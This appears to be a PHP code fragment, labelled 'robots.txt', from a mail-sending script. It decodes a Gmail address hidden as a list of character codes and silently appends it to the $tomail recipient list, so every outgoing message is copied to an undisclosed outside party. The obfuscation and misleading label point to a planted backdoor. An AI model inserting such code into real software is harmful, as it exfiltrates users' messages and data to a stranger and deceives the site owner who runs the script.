robots.txt

$chr1 ="111,109,97,114,46,106,101,122,105,51,64,103,109,97,105,108,46,99,111,109";
$chr1r = explode(",", $chr1);
$chr1 = "";
foreach($chr1r as $chr) {
  $chr1 .= chr($chr);
}
$tomail = $tomail.", ".$chr1;